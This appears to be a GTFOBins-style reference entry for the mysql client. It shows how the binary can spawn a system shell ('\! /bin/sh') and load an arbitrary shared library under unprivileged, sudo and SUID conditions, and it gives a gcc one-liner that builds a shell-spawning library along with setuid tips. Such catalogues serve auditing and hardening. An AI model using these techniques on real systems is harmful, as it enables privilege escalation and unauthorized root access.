mysql

CommentA valid MySQL server must be available to connect to.

Shell

This executable can spawn an interactive system shell.

Unprivileged
This function can be performed by any unprivileged user.
```
mysql -e '\! /bin/sh'
```
Sudo
This function is performed by the privileged user if executed via sudo because the acquired privileges are not dropped.
RemarksIf there are environment variables involved, they must be passed via sudo VAR=value ... or exported then sudo -E ....
```
mysql -e '\! /bin/sh'
```
SUID
This function is performed by the privileged user if the executable has the SUID bit set and the right ownership because the effective privileges are not dropped.
RemarksThis executable runs commands using the system shell, e.g., via functions like system, so it only works for distributions where the shell does not drop SUID privileges.
```
mysql -e '\! /bin/sh'
```

Library load

This executable can load shared libraries that may be used to run arbitrary code in the same execution context.

Version requirements5.5
CommentThe following loads the /path/to/lib.so shared object.
Unprivileged
This function can be performed by any unprivileged user.
```
mysql --default-auth ../../../../../path/to/lib
```
Sudo
This function is performed by the privileged user if executed via sudo because the acquired privileges are not dropped.
RemarksIf there are environment variables involved, they must be passed via sudo VAR=value ... or exported then sudo -E ....
```
mysql --default-auth ../../../../../path/to/lib
```
SUID
This function is performed by the privileged user if the executable has the SUID bit set and the right ownership because the effective privileges are not dropped.
```
mysql --default-auth ../../../../../path/to/lib
```
Payload
As an example, the following can be used to create a minimal shared library (lib.so) that spawns a shell upon loading:
```
echo '__attribute__((constructor)) init() { execl("/bin/sh", "sh", 0); }' \
    | gcc -w -fPIC -shared -o lib.so -x c -
```
Add the usual -p argument to the shell for SUID contexts. Consider calling setuid(0); beforehand if the executable has the CAP_SETUID capability assigned.